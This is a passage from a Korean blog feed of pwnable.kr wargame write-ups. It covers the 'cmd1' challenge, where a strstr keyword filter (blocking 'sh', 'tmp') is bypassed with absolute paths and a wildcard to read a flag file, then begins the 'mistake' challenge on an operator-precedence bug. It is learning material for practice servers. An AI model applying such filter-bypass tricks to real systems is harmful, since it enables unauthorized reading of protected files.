style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;strstr(cmd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;sh&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;strstr(cmd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;tmp&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;r;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;filter() 함수가 0이 아닌 값을 출력하면 return 0을 하고 0이 아닌 값이 들어오면, system(argv[1])을 하고 return 0&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(filter(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&amp;nbsp;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 cmd1을 공격하기 위해서 Linux의 환경변수인 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;PATH&lt;/span&gt;가 하는 작업을 생각 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;PATH는 리눅스 상에서 파일의 위치&lt;/span&gt;를 알려준다고 생각하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 이렇게 파일의 위치를 환경변수 PATH에 정의하는 이유는 뭘까?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Linux에서 사용하는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;명령어(cat, ls ...e&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;tc) 모두 bin이라는 디렉토리&lt;/span&gt;에 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 우리는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;/bin/cat, /bin/ls를 사용하는 대신. cat, ls만 입력하도 명령어를 사용&lt;/span&gt;할 수 있다&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이것은 PATH에 미리 /bin이라고 명시되어 있기 때문에 사용자가 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;cat&lt;/span&gt;만 입력해도 환경변수 PATH를 참조해&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; /bin/cat&lt;/span&gt;을 실행하는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;PATH에 있는 경로를 따라가면 명령을 실행할 수 있다고 얘기하는것과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 putenv를 통해 PATH를 초기화 하기 때문에 단지 명령어 만으로 명령을 실행할 수 없어 절대경로를 적어줘야한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 필터링을 하기 때문에 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;*(wild card)&lt;/span&gt;를 사용하여 bypass를 진행했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;*을 사용하여 한번에 여러 파일들에 접근&lt;/span&gt;할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;예를들어&amp;nbsp;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;l*라&lt;/span&gt;고 지정을 하면 앞 두글자가 &quot;fl&quot;인 모든 파일에 접근하는 것이다&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 634px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996C3F465BEE4DB107&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996C3F465BEE4DB107&quot; width=&quot;634&quot; height=&quot;44&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 쉽게 공격에 성공 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;또한 환경변수를 통해 *(wild card)를 사용하지 않고 접근 가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997D754B5BEE4E9903&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997D754B5BEE4E9903&quot; width=&quot;800&quot; height=&quot;60&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;성공!!!!!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/229</guid>
      <comments>https://marcokhan.tistory.com/229#entry229comment</comments>
      <pubDate>Fri, 16 Nov 2018 14:02:17 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  mistake 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/228</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;pwnab&lt;/span&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;le.kr --- mistake&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh mistake@pwnable.kr 2222 (pw:guest)&lt;/span&gt;로 접속하면 mistake 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;ssh mistake@pwnable.kr -p2222와 같이 접속 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 831px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E602455BEAF79F02&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E602455BEAF79F02&quot; width=&quot;831&quot; height=&quot;121&quot; filename=&quot;이미지 088.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 원하는 파일은 flag이고 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 mistake이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;password와 mistake라는 elf 파일이 존재하고, password는 read만 가능하고 mistake는 실행 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mistake 파일은&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; setuid가 mistake_pwn의 권한&lt;/span&gt;으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;mistake elf 파일을 통해 mistake_pwn의 권한으로 flag, password를 볼 수 있을것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mistake.c를 가지고 mistake elf 파일을 만들었을 확률이 높으므로 mistake.c를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 688px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C59A475BECFF910A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C59A475BECFF910A&quot; width=&quot;688&quot; height=&quot;968&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;PW_LEN=10, XORKEY=1 치환하는 매크로 함수를 작성한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지역 변수 fd를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;/home/mistke/passwd&quot;를 읽기모드로 passwd 파일을 소유자만 읽을 수 있도록 fd를 설정하고,&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 파일 읽기에 실패하면 &quot;can't open password %d\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;open 함수의 원형&lt;/span&gt;은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px; background-color: rgb(250, 244, 192);&quot;&gt;int open(const char *FILENAME, int FLAGS[, mode_t MODE])&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char *FILENAME : 대상 파일 이름이다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int FLAGS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;: 파일에 대한 열기 옵션이다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[, mode_t MODE]: O_CREAT 옵션 사용시 파일이 생성될 때 지정되는 파일의 권한이다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;반환형은 정상적으로 open 하면 file descriptor의 값을 return하고, 실패하면 -1을 반환한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;여기서 hint의 중요성을 알게 된다. 처음에 hint를 보지 못해서 애를 먹었는데 mistake의 hint는 operator priority이다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) 함수는 성공하니 file descriptor를 반환할 것이고 file descriptor는 양수이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;operator priority 때문에 크기 비교(&amp;lt;)를 먼저하고, file descriptor와 0을 대소비교하니 거짓이나와 0이 return 되어 최종적으로 file descriptor는 0이된다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;PW_LEN&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;font-size: 